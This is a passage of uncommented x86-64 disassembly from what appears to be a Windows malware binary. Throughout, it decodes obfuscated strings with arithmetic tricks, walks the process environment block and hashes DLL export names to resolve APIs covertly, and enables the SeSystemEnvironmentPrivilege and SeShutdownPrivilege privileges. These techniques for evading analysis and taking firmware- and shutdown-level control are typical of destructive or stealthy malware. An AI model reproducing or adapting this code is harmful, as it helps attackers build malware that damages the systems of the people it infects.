and al, 0x20
add al, al
sub cl, al
sub cl, 0x73
mov byte [rbp - 0x2d], cl
mov al, 0xb2
movzx ecx, al
movzx eax, cl
and al, 0x21
add al, al
sub cl, al
sub cl, 0x72
mov byte [rbp - 0x2c], cl
mov rdx, qword [rbp - 0x58]
movzx ecx, dl
movzx eax, cl
and al, 0x22
add al, al
sub cl, al
sub cl, 0x71
mov byte [rbp - 0x2b], cl
movzx ecx, byte [rbp - 0x2a]
movzx eax, cl
and al, 0x23
add al, al
sub cl, al
sub cl, 0x70
mov byte [rbp - 0x2a], cl
movzx ecx, byte [rbp - 0x29]
movzx eax, cl
and al, 0x24
add al, al
sub cl, al
sub cl, 0x6f
mov byte [rbp - 0x29], cl
movzx ecx, byte [rbp - 0x28]
movzx eax, cl
and al, 0x25
add al, al
sub cl, al
sub cl, 0x6e
mov byte [rbp - 0x28], cl
movzx ecx, dl
movzx eax, cl
and al, 0x26
add al, al
sub cl, al
sub cl, 0x6d
mov byte [rbp - 0x27], cl
movzx ecx, byte [rbp - 0x26]
mov eax, ecx
movabs rdx, 0x81399e119a895e27
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
add cl, 0x6d
mov byte [rbp - 0x26], cl
lea rcx, [rbp - 0x38]
call r14
mov al, 0x81
movzx edx, al
mov r8b, 0x8c
mov r9b, 0x93
mov r10b, 0x9d
mov r11b, 0x92
mov bl, 0x9b
mov dil, 0xd1
mov sil, 0x9a
mov r15b, 0xad
mov r12b, 0xac
xorps xmm0, xmm0
xor ecx, ecx
mov qword [rbp - 0x58], rcx
movups xmmword [rbp - 0x2c], xmm0
mov word [rbp - 0x1c], cx
movzx ecx, al
movzx eax, cl
and al, 0xd7
add al, al
sub cl, al
sub cl, 0xa
mov byte [rbp - 0x38], cl
mov ecx, edx
movzx eax, dl
and al, 0xd8
add al, al
sub cl, al
sub cl, 9
mov byte [rbp - 0x37], cl
movzx ecx, r8b
movzx eax, cl
and al, 0xd9
add al, al
sub cl, al
sub cl, 8
mov byte [rbp - 0x36], cl
movzx ecx, r9b
movzx eax, cl
and al, 0xda
add al, al
sub cl, al
sub cl, 7
mov byte [rbp - 0x35], cl
movzx ecx, r10b
movzx eax, cl
and al, 0xdb
add al, al
sub cl, al
sub cl, 6
mov byte [rbp - 0x34], cl
movzx ecx, r11b
movzx eax, cl
and al, 0xdc
add al, al
sub cl, al
sub cl, 5
mov byte [rbp - 0x33], cl
movzx ecx, bl
movzx eax, cl
and al, 0xdd
add al, al
sub cl, al
sub cl, 4
mov byte [rbp - 0x32], cl
movzx ecx, dil
movzx eax, cl
and al, 0xde
add al, al
sub cl, al
sub cl, 3
mov byte [rbp - 0x31], cl
movzx ecx, sil
movzx eax, cl
and al, 0xdf
add al, al
sub cl, al
sub cl, 2
mov byte [rbp - 0x30], cl
movzx ecx, r15b
movzx eax, cl
and al, 0xe0
add al, al
sub cl, al
dec cl
mov byte [rbp - 0x2f], cl
movzx ecx, r12b
movzx eax, cl
and al, 0xe1
add al, al
sub cl, al
mov byte [rbp - 0x2e], cl
mov al, 3
movzx ecx, al
movzx eax, cl
and al, 0xe2
add al, al
sub cl, al
inc cl
mov byte [rbp - 0x2d], cl
movd eax, xmm0
movzx edx, al
movzx eax, dl
and al, 0xe3
mov ecx, 1
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x2c], cl
movzx ecx, byte [rbp - 0x2b]
movzx eax, cl
and al, 0xe4
add al, al
sub cl, al
add cl, 3
mov byte [rbp - 0x2b], cl
movzx edx, byte [rbp - 0x2a]
movzx eax, dl
and al, 0xe5
mov ecx, 2
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x2a], cl
movzx ecx, byte [rbp - 0x29]
movzx eax, cl
and al, 0xe6
add al, al
sub cl, al
add cl, 5
mov byte [rbp - 0x29], cl
movzx edx, byte [rbp - 0x28]
movzx eax, dl
and al, 0xe7
mov ecx, 3
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x28], cl
movzx ecx, byte [rbp - 0x27]
movzx eax, cl
and al, 0xe8
add al, al
sub cl, al
add cl, 7
mov byte [rbp - 0x27], cl
movzx edx, byte [rbp - 0x26]
movzx eax, dl
and al, 0xe9
mov ecx, 4
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x26], cl
movzx ecx, byte [rbp - 0x25]
movzx eax, cl
and al, 0xea
add al, al
sub cl, al
add cl, 9
mov byte [rbp - 0x25], cl
movzx edx, byte [rbp - 0x24]
movzx eax, dl
and al, 0xeb
mov ecx, 5
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x24], cl
movzx ecx, byte [rbp - 0x23]
movzx eax, cl
and al, 0xec
add al, al
sub cl, al
add cl, 0xb
mov byte [rbp - 0x23], cl
movzx edx, byte [rbp - 0x22]
movzx eax, dl
and al, 0xed
mov ecx, 6
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x22], cl
movzx ecx, byte [rbp - 0x21]
movzx eax, cl
and al, 0xee
add al, al
sub cl, al
add cl, 0xd
mov byte [rbp - 0x21], cl
movzx edx, byte [rbp - 0x20]
movzx eax, dl
and al, 0xef
mov ecx, 7
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x20], cl
movzx ecx, byte [rbp - 0x1f]
movzx eax, cl
and al, 0xf0
add al, al
sub cl, al
add cl, 0xf
mov byte [rbp - 0x1f], cl
movzx edx, byte [rbp - 0x1e]
movzx eax, dl
and al, 0xf1
mov ecx, 8
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x1e], cl
movzx ecx, byte [rbp - 0x1d]
movzx eax, cl
and al, 0xf2
add al, al
sub cl, al
add cl, 0x11
mov byte [rbp - 0x1d], cl
movzx edx, byte [rbp - 0x58]
movzx eax, dl
and al, 0xf3
mov ecx, 9
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x1c], cl
movzx ecx, byte [rbp - 0x1b]
mov eax, ecx
movabs rdx, 0x499a084711f4aef4
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
add cl, 0x1f
mov byte [rbp - 0x1b], cl
lea rcx, [rbp - 0x38]
call r14
mov al, 0xf3
mov dl, 0x8e
mov r8b, 0xfa
mov r9b, 0xf1
mov r10b, 0x89
mov r11b, 0xf5
mov bl, 0xbd
mov dil, 0xb1
mov sil, 0xbc
mov r15b, 0x81
mov r12b, 0xf8
xor ecx, ecx
mov qword [rbp - 0x58], rcx
mov qword [rbp - 0x2b], rcx
mov word [rbp - 0x23], cx
movzx ecx, al
movzx eax, cl
and al, dil
add al, al
sub cl, al
sub cl, 0x26
mov byte [rbp - 0x38], cl
movzx ecx, dl
movzx eax, cl
and al, 0xb2
add al, al
sub cl, al
sub cl, 0x25
mov byte [rbp - 0x37], cl
movzx ecx, r8b
movzx eax, cl
and al, 0xb3
add al, al
sub cl, al
sub cl, 0x24
mov byte [rbp - 0x36], cl
movzx ecx, r9b
movzx eax, cl
and al, 0xb4
add al, al
sub cl, al
sub cl, 0x23
mov byte [rbp - 0x35], cl
movzx ecx, r10b
movzx eax, cl
and al, 0xb5
add al, al
sub cl, al
sub cl, 0x22
mov byte [rbp - 0x34], cl
movzx ecx, r11b
movzx eax, cl
and al, 0xb6
add al, al
sub cl, al
sub cl, 0x21
mov byte [rbp - 0x33], cl
movzx ecx, bl
movzx eax, cl
and al, 0xb7
add al, al
sub cl, al
sub cl, 0x20
mov byte [rbp - 0x32], cl
movzx ecx, dil
movzx eax, cl
and al, 0xb8
add al, al
sub cl, al
sub cl, 0x1f
mov byte [rbp - 0x31], cl
movzx ecx, sil
movzx eax, cl
and al, 0xb9
add al, al
sub cl, al
sub cl, 0x1e
mov byte [rbp - 0x30], cl
movzx ecx, r15b
movzx eax, cl
and al, 0xba
add al, al
sub cl, al
sub cl, 0x1d
mov byte [rbp - 0x2f], cl
movzx ecx, r12b
movzx eax, cl
and al, 0xbb
add al, al
sub cl, al
sub cl, 0x1c
mov byte [rbp - 0x2e], cl
mov al, 0xff
movzx ecx, al
movzx eax, cl
and al, sil
add al, al
sub cl, al
sub cl, 0x1b
mov byte [rbp - 0x2d], cl
mov al, 0x6a
movzx ecx, al
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x1a
mov byte [rbp - 0x2c], cl
mov rdx, qword [rbp - 0x58]
movzx ecx, dl
movzx eax, cl
and al, 0xbe
add al, al
sub cl, al
sub cl, 0x19
mov byte [rbp - 0x2b], cl
movzx ecx, byte [rbp - 0x2a]
movzx eax, cl
and al, 0xbf
add al, al
sub cl, al
sub cl, 0x18
mov byte [rbp - 0x2a], cl
movzx ecx, byte [rbp - 0x29]
movzx eax, cl
and al, 0xc0
add al, al
sub cl, al
sub cl, 0x17
mov byte [rbp - 0x29], cl
movzx ecx, byte [rbp - 0x28]
movzx eax, cl
and al, 0xc1
add al, al
sub cl, al
sub cl, 0x16
mov byte [rbp - 0x28], cl
movzx ecx, byte [rbp - 0x27]
movzx eax, cl
and al, 0xc2
add al, al
sub cl, al
sub cl, 0x15
mov byte [rbp - 0x27], cl
movzx ecx, byte [rbp - 0x26]
movzx eax, cl
and al, 0xc3
add al, al
sub cl, al
sub cl, 0x14
mov byte [rbp - 0x26], cl
movzx ecx, byte [rbp - 0x25]
movzx eax, cl
and al, 0xc4
add al, al
sub cl, al
sub cl, 0x13
mov byte [rbp - 0x25], cl
movzx ecx, byte [rbp - 0x24]
movzx eax, cl
and al, 0xc5
add al, al
sub cl, al
sub cl, 0x12
mov byte [rbp - 0x24], cl
movzx ecx, dl
movzx eax, cl
and al, 0xc6
add al, al
sub cl, al
sub cl, 0x11
mov byte [rbp - 0x23], cl
movzx ecx, byte [rbp - 0x22]
movzx eax, cl
and al, 0xc7
add al, al
sub cl, al
sub cl, 0x10
mov byte [rbp - 0x22], cl
movzx ecx, dl
mov eax, ecx
movabs rdx, 0x39705167586e20c8
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
add cl, 0x29
mov byte [rbp - 0x21], cl
lea rcx, [rbp - 0x38]
call r14
mov al, 0xe0
mov dl, 0xec
mov r8b, 0xfb
mov r9b, 0xa5
mov r10b, 0xfe
mov r11b, 0xe9
mov bl, 0xe8
mov dil, 0x9f
xor esi, esi
mov qword [rbp - 0x30], rsi
mov dword [rbp - 0x28], esi
mov word [rbp - 0x24], si
movzx ecx, al
movzx eax, cl
and al, 0x13
add al, al
sub cl, al
sub cl, 0x72
mov byte [rbp - 0x38], cl
movzx ecx, dl
movzx eax, cl
and al, 0x14
add al, al
sub cl, al
sub cl, 0x71
mov byte [rbp - 0x37], cl
movzx ecx, r8b
movzx eax, cl
and al, 0x15
add al, al
sub cl, al
sub cl, 0x70
mov byte [rbp - 0x36], cl
movzx ecx, r9b
movzx eax, cl
and al, 0x16
add al, al
sub cl, al
sub cl, 0x6f
mov byte [rbp - 0x35], cl
movzx ecx, r10b
movzx eax, cl
and al, 0x17
add al, al
sub cl, al
sub cl, 0x6e
mov byte [rbp - 0x34], cl
movzx ecx, r11b
movzx eax, cl
and al, 0x18
add al, al
sub cl, al
sub cl, 0x6d
mov byte [rbp - 0x33], cl
movzx ecx, bl
movzx eax, cl
and al, 0x19
add al, al
sub cl, al
sub cl, 0x6c
mov byte [rbp - 0x32], cl
movzx ecx, dil
movzx eax, cl
and al, 0x1a
add al, al
sub cl, al
sub cl, 0x6b
mov byte [rbp - 0x31], cl
movzx ecx, sil
movzx eax, cl
and al, 0x1b
add al, al
sub cl, al
sub cl, 0x6a
mov byte [rbp - 0x30], cl
movzx ecx, byte [rbp - 0x2f]
movzx eax, cl
and al, 0x1c
add al, al
sub cl, al
sub cl, 0x69
mov byte [rbp - 0x2f], cl
movzx ecx, byte [rbp - 0x2e]
movzx eax, cl
and al, 0x1d
add al, al
sub cl, al
sub cl, 0x68
mov byte [rbp - 0x2e], cl
movzx ecx, byte [rbp - 0x2d]
movzx eax, cl
and al, 0x1e
add al, al
sub cl, al
sub cl, 0x67
mov byte [rbp - 0x2d], cl
movzx ecx, byte [rbp - 0x2c]
movzx eax, cl
and al, 0x1f
add al, al
sub cl, al
sub cl, 0x66
mov byte [rbp - 0x2c], cl
movzx ecx, byte [rbp - 0x2b]
movzx eax, cl
and al, 0x20
add al, al
sub cl, al
sub cl, 0x65
mov byte [rbp - 0x2b], cl
movzx ecx, byte [rbp - 0x2a]
movzx eax, cl
and al, 0x21
add al, al
sub cl, al
sub cl, 0x64
mov byte [rbp - 0x2a], cl
movzx ecx, byte [rbp - 0x29]
movzx eax, cl
and al, 0x22
add al, al
sub cl, al
sub cl, 0x63
mov byte [rbp - 0x29], cl
movzx ecx, sil
movzx eax, cl
and al, 0x23
add al, al
sub cl, al
sub cl, 0x62
mov byte [rbp - 0x28], cl
movzx ecx, byte [rbp - 0x27]
movzx eax, cl
and al, 0x24
add al, al
sub cl, al
sub cl, 0x61
mov byte [rbp - 0x27], cl
movzx ecx, byte [rbp - 0x26]
movzx eax, cl
and al, 0x25
add al, al
sub cl, al
sub cl, 0x60
mov byte [rbp - 0x26], cl
movzx ecx, byte [rbp - 0x25]
movzx eax, cl
and al, 0x26
add al, al
sub cl, al
sub cl, 0x5f
mov byte [rbp - 0x25], cl
movzx ecx, sil
movzx eax, cl
and al, 0x27
add al, al
sub cl, al
sub cl, 0x5e
mov byte [rbp - 0x24], cl
movzx ecx, byte [rbp - 0x23]
movzx eax, cl
and al, 0x28
add al, al
sub cl, al
sub cl, 0x5d
mov byte [rbp - 0x23], cl
movzx ecx, sil
mov eax, ecx
movabs rdx, 0x55d8ae1015ccea29
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
add cl, 0x7b
mov byte [rbp - 0x22], cl
lea rcx, [rbp - 0x38]
call r14
mov al, 0xf3
mov dl, 0xc9
mov r8b, 0xc1
mov r9b, 0xcc
mov r10b, 0xf6
mov r11b, 0xc0
mov bl, 0x88
mov dil, 0xc3
mov sil, 0xc4
mov r15b, 0xc5
mov r12b, 0x6a
xor ecx, ecx
mov qword [rbp - 0x58], rcx
mov qword [rbp - 0x2d], rcx
mov dword [rbp - 0x25], ecx
movzx ecx, al
movzx eax, cl
and al, 0x10
add al, al
sub cl, al
sub cl, 0x60
mov byte [rbp - 0x38], cl
movzx ecx, dl
movzx eax, cl
and al, 0x11
add al, al
sub cl, al
sub cl, 0x5f
mov byte [rbp - 0x37], cl
movzx ecx, r8b
movzx eax, cl
and al, 0x12
add al, al
sub cl, al
sub cl, 0x5e
mov byte [rbp - 0x36], cl
movzx ecx, r9b
movzx eax, cl
and al, 0x13
add al, al
sub cl, al
sub cl, 0x5d
mov byte [rbp - 0x35], cl
movzx ecx, r10b
movzx eax, cl
and al, 0x14
add al, al
sub cl, al
sub cl, 0x5c
mov byte [rbp - 0x34], cl
movzx ecx, r11b
movzx eax, cl
and al, 0x15
add al, al
sub cl, al
sub cl, 0x5b
mov byte [rbp - 0x33], cl
movzx ecx, bl
movzx eax, cl
and al, 0x16
add al, al
sub cl, al
sub cl, 0x5a
mov byte [rbp - 0x32], cl
movzx ecx, dil
movzx eax, cl
and al, 0x17
add al, al
sub cl, al
sub cl, 0x59
mov byte [rbp - 0x31], cl
movzx ecx, sil
movzx eax, cl
and al, 0x18
add al, al
sub cl, al
sub cl, 0x58
mov byte [rbp - 0x30], cl
movzx ecx, r15b
movzx eax, cl
and al, 0x19
add al, al
sub cl, al
sub cl, 0x57
mov byte [rbp - 0x2f], cl
movzx ecx, r12b
movzx eax, cl
and al, 0x1a
add al, al
sub cl, al
sub cl, 0x56
mov byte [rbp - 0x2e], cl
mov rdx, qword [rbp - 0x58]
movzx ecx, dl
movzx eax, cl
and al, 0x1b
add al, al
sub cl, al
sub cl, 0x55
mov byte [rbp - 0x2d], cl
movzx ecx, byte [rbp - 0x2c]
movzx eax, cl
and al, 0x1c
add al, al
sub cl, al
sub cl, 0x54
mov byte [rbp - 0x2c], cl
movzx ecx, byte [rbp - 0x2b]
movzx eax, cl
and al, 0x1d
add al, al
sub cl, al
sub cl, 0x53
mov byte [rbp - 0x2b], cl
movzx ecx, byte [rbp - 0x2a]
movzx eax, cl
and al, 0x1e
add al, al
sub cl, al
sub cl, 0x52
mov byte [rbp - 0x2a], cl
movzx ecx, byte [rbp - 0x29]
movzx eax, cl
and al, 0x1f
add al, al
sub cl, al
sub cl, 0x51
mov byte [rbp - 0x29], cl
movzx ecx, byte [rbp - 0x28]
movzx eax, cl
and al, 0x20
add al, al
sub cl, al
sub cl, 0x50
mov byte [rbp - 0x28], cl
movzx ecx, byte [rbp - 0x27]
movzx eax, cl
and al, 0x21
add al, al
sub cl, al
sub cl, 0x4f
mov byte [rbp - 0x27], cl
movzx ecx, byte [rbp - 0x26]
movzx eax, cl
and al, 0x22
add al, al
sub cl, al
sub cl, 0x4e
mov byte [rbp - 0x26], cl
movzx ecx, dl
movzx eax, cl
and al, 0x23
add al, al
sub cl, al
sub cl, 0x4d
mov byte [rbp - 0x25], cl
movzx ecx, byte [rbp - 0x24]
movzx eax, cl
and al, 0x24
add al, al
sub cl, al
sub cl, 0x4c
mov byte [rbp - 0x24], cl
movzx ecx, byte [rbp - 0x23]
movzx eax, cl
and al, 0x25
add al, al
sub cl, al
sub cl, 0x4b
mov byte [rbp - 0x23], cl
movzx ecx, byte [rbp - 0x22]
mov eax, ecx
movabs rdx, 0xaf55c8a4cc12626
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
sub cl, 0x70
mov byte [rbp - 0x22], cl
lea rcx, [rbp - 0x38]
call r14
mov r14d, r13d
mov esi, 0x5c11cb30
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
cmp qword [rax + 0x30], r13
je 0x140013b28
cmp word [rax + 0x48], r13w
je 0x140013b28
movups xmm0, xmmword [rax + 0x58]
movd ecx, xmm0
sub cx, 8
test r14d, r14d
je 0x1400139a3
psrldq xmm0, 8
movq r9, xmm0
movzx ecx, cx
shr rcx, 1
lea r11, [r9 + rcx*2]
mov r10d, 0xba43581
cmp r9, r11
je 0x14001399a
nop word [rax + rax]
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov r8d, edx
or r8d, 0x20
cmp cl, 0x19
cmova r8d, edx
xor r8d, r10d
imul r10d, r8d, 0x1000193
add r9, 2
cmp r9, r11
jne 0x140013970
cmp r10d, r14d
jne 0x140013b28
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r8, rdx
shr r8, 0x20
mov qword [rbp - 0x58], r8
mov edi, edx
add rdi, r11
cmp rdi, r11
je 0x140013b28
mov ebx, dword [rdi + 0x18]
test ebx, ebx
je 0x140013b28
mov r9d, dword [rdi + 0x1c]
add r9, r11
mov qword [rbp - 0x48], r9
mov ecx, dword [rdi + 0x24]
add rcx, r11
mov qword [rbp - 0x70], rcx
mov r10d, dword [rdi + 0x20]
dec ebx
movzx ecx, word [rcx + rbx*2]
mov r12d, dword [r9 + rcx*4]
add r12, r11
mov qword [rbp - 0x50], r12
lea rcx, [r10 + rbx*4]
mov r9d, dword [rcx + r11]
add r9, r11
cmp r12, rdi
jbe 0x140013a1f
lea rcx, [rdi + r8]
cmp r12, rcx
jae 0x140013a1f
mov r15b, 1
jmp 0x140013a22
xor r15b, r15b
mov r10d, 0xba43581
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x140013a6b
nop dword [rax]
nop dword [rax + rax]
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x140013a40
cmp r10d, esi
je 0x140013a90
test ebx, ebx
mov r8, qword [rbp - 0x58]
mov r9, qword [rbp - 0x48]
mov rcx, qword [rbp - 0x70]
mov r10d, dword [rdi + 0x20]
jne 0x1400139f0
mov rax, qword [rax]
jmp 0x140013920
test r15b, r15b
je 0x140013b30
mov esi, 0xba43581
mov r14d, esi
movzx edx, byte [r12]
cmp dl, 0x2e
je 0x140013ad8
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r14d
imul r14d, ecx, 0x1000193
inc r12
movzx edx, byte [r12]
cmp dl, 0x2e
jne 0x140013ab0
inc r12
movzx edx, byte [r12]
test dl, dl
je 0x140013b17
nop dword [rax]
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
lea r12, [r12 + 1]
movzx edx, byte [r12]
test dl, dl
jne 0x140013af0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140013920
mov edi, reloc.WS2_32.dll_recv
mov dword [rbp - 0x48], edi
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
lea r9, [rbp - 0x40]
xor r8d, r8d
mov esi, 0x28
mov edx, esi
call qword [sym.imp.ADVAPI32.dll_OpenThreadToken]
test eax, eax
jne 0x140013b87
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3f0
jne 0x140015401
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp - 0x40]
mov edx, esi
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140015401
mov dword [rbp + 8], 1
mov dword [rbp + 0x14], 2
mov qword [rbp + 0xc], reloc.WS2_32.dll_sendto
lea rax, [rbp - 0x48]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x18]
mov qword [rsp + 0x20], rax
mov r9d, edi
lea r8, [rbp + 8]
xor edx, edx
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov ebx, eax
mov qword [rbp + 0xc], 0xa
lea rax, [rbp - 0x48]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x18]
mov qword [rsp + 0x20], rax
mov r9d, edi
lea r8, [rbp + 8]
xor edx, edx
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test ebx, ebx
je 0x140015401
test eax, eax
je 0x140015401
xor bl, bl
mov qword [rbp - 0x48], 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp - 0x48]
mov edx, esi
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1400150c8
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
lea r8, [rbp - 0x14]
lea rdx, str.SeSystemEnvironmentPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x140013c76
mov dword [rbp - 0x18], 1
mov dword [rbp - 0xc], 2
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, [rbp - 0x18]
xor edx, edx
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
setne bl
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
lea r8, [rbp - 0x14]
lea rdx, str.SeShutdownPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x140013cc4
mov dword [rbp - 0x18], 1
mov dword [rbp - 0xc], 2
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, [rbp - 0x18]
xor edx, edx
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
setne bl
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
je 0x1400150d2
call fcn.14005d9d0
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x38], xmm0
mov qword [rbp - 0x28], r13
lea rcx, [rbp - 0x38]
call fcn.140010140
movabs rdx, 0x3d18c65b51d20edb
lea rcx, [rbp - 0x38]
call fcn.140010a60
mov qword [0x1401cd258], rax
lea rcx, [rbp - 0x38]
test rax, rax
jne 0x140013d28
call fcn.140010660
nop
lea rcx, [rbp - 0x38]
call fcn.140010660
nop
jmp 0x140013e8d
movabs rdx, 0xa3e86b9f7a20b19a
call fcn.140010a60
mov qword [0x1401cd250], rax
lea rcx, [rbp - 0x38]
test rax, rax
jne 0x140013d5c
call fcn.140010660
nop
lea rcx, [rbp - 0x38]
call fcn.140010660
nop
jmp 0x140013e8d
movabs rdx, 0x5afed1193811099
call fcn.140010a60
mov qword [0x1401cd280], rax
lea rcx, [rbp - 0x38]
test rax, rax
jne 0x140013d90
call fcn.140010660
nop
lea rcx, [rbp - 0x38]
call fcn.140010660
nop
jmp 0x140013e8d
movabs rdx, 0xae01160ee15e6840
call fcn.140010a60
mov qword [0x1401cd270], rax
lea rcx, [rbp - 0x38]
test rax, rax
jne 0x140013dc4
call fcn.140010660
nop
lea rcx, [rbp - 0x38]
call fcn.140010660
nop
jmp 0x140013e8d
movabs rdx, 0xcf7aec834cc5a39d
call fcn.140010a60
mov qword [0x1401cd268], rax
lea rcx, [rbp - 0x38]
test rax, rax
jne 0x140013df8
call fcn.140010660
nop
lea rcx, [rbp - 0x38]
call fcn.140010660
nop
jmp 0x140013e8d
movabs rdx, 0x6bed4a20ab1a3bb2
call fcn.140010a60
mov qword [0x1401cd278], rax
lea rcx, [rbp - 0x38]
test rax, rax
jne 0x140013e29
call fcn.140010660
nop
lea rcx, [rbp - 0x38]
call fcn.140010660
nop
jmp 0x140013e8d
movabs rdx, 0x854eca64b17f3f9f
call fcn.140010a60
mov qword [0x1401cd240], rax
lea rcx, [rbp - 0x38]
test rax, rax
jne 0x140013e5a
call fcn.140010660
nop
lea rcx, [rbp - 0x38]
call fcn.140010660
nop
jmp 0x140013e8d
movabs rdx, 0xa9f0298243afc7d4
call fcn.140010a60
mov qword [0x1401cd260], rax
lea rcx, [rbp - 0x38]
test rax, rax
jne 0x140014104
call fcn.140010660
nop
lea rcx, [rbp - 0x38]
call fcn.140010660
nop
mov dl, 0x76
mov r8b, 0x6c
mov r9b, 0x46
mov r10b, 0x6a
mov r11b, 0x7c
mov bl, 0xa9
mov dil, 0x7b
mov sil, 0x49
mov r14b, 0x4a
movzx r15d, dl
mov r12b, 0x4c
mov r13b, 0xc3
xor eax, eax
mov qword [rbp - 0x70], rax
mov dword [rsp + 0x3c], eax
mov word [rsp + 0x40], ax
movzx ecx, dl
and cl, 0xe2
add cl, cl
mov eax, 0xb4
sub al, cl
add dl, al
mov byte [rsp + 0x30], dl
movzx ecx, r8b
and cl, 0xe3
add cl, cl
mov eax, 0xb5
sub al, cl
add r8b, al
mov byte [rsp + 0x31], r8b
movzx ecx, r9b
and cl, 0xe4
add cl, cl
mov eax, 0xb6
sub al, cl
add r9b, al
mov byte [rsp + 0x32], r9b
movzx ecx, r10b
and cl, 0xe5
add cl, cl
mov eax, 0xb7
sub al, cl
add r10b, al
mov byte [rsp + 0x33], r10b
movzx ecx, r11b
and cl, 0xe6
add cl, cl
mov eax, 0xb8
sub al, cl
add r11b, al
mov byte [rsp + 0x34], r11b
movzx ecx, bl
and cl, 0xe7
add cl, cl
mov eax, 0xb9
sub al, cl
add bl, al
mov byte [rsp + 0x35], bl
movzx ecx, dil
and cl, 0xe8
add cl, cl
mov eax, 0xba
sub al, cl
add dil, al
mov byte [rsp + 0x36], dil
movzx ecx, sil
and cl, 0xe9
add cl, cl
mov eax, 0xbb
sub al, cl
add sil, al
mov byte [rsp + 0x37], sil
movzx ecx, r14b
and cl, 0xea
add cl, cl
mov eax, 0xbc
sub al, cl
add r14b, al
mov byte [rsp + 0x38], r14b
movzx ecx, r15b
and cl, 0xeb
add cl, cl
mov eax, 0xbd
sub al, cl
add r15b, al
mov byte [rsp + 0x39], r15b
movzx ecx, r12b
and cl, 0xec
add cl, cl
mov eax, 0xbe
sub al, cl
add r12b, al
mov byte [rsp + 0x3a], r12b
movzx ecx, r13b
and cl, 0xed
add cl, cl
mov eax, 0xbf
sub al, cl
add r13b, al
mov byte [rsp + 0x3b], r13b
mov r8, qword [rbp - 0x70]
movzx ecx, r8b
and cl, 0xee
add cl, cl
mov eax, 0xc0
sub al, cl
lea edx, [rax + r8]
mov byte [rsp + 0x3c], dl
movzx edx, byte [rsp + 0x3d]
movzx ecx, dl
and cl, 0xef
add cl, cl
mov eax, 0xc1
sub al, cl
add dl, al
mov byte [rsp + 0x3d], dl
movzx edx, byte [rsp + 0x3e]
movzx ecx, dl
and cl, 0xf0
add cl, cl
mov eax, 0xc2
sub al, cl
add dl, al
mov byte [rsp + 0x3e], dl
movzx edx, byte [rsp + 0x3f]
movzx ecx, dl
and cl, 0xf1
add cl, cl
mov eax, 0xc3
sub al, cl
add dl, al
mov byte [rsp + 0x3f], dl
movzx ecx, r8b
and cl, 0xf2
add cl, cl
mov eax, 0xc4
sub al, cl
add r8b, al
mov byte [rsp + 0x40], r8b
movzx edx, byte [rsp + 0x41]
movzx ecx, dl
and cl, 0xf3
add cl, cl
mov eax, 0xc5
sub al, cl
add dl, al
mov byte [rsp + 0x41], dl
mov dword [rsp + 0x50], 0x6f6b6066
mov dword [rsp + 0x54], 0x73a66161
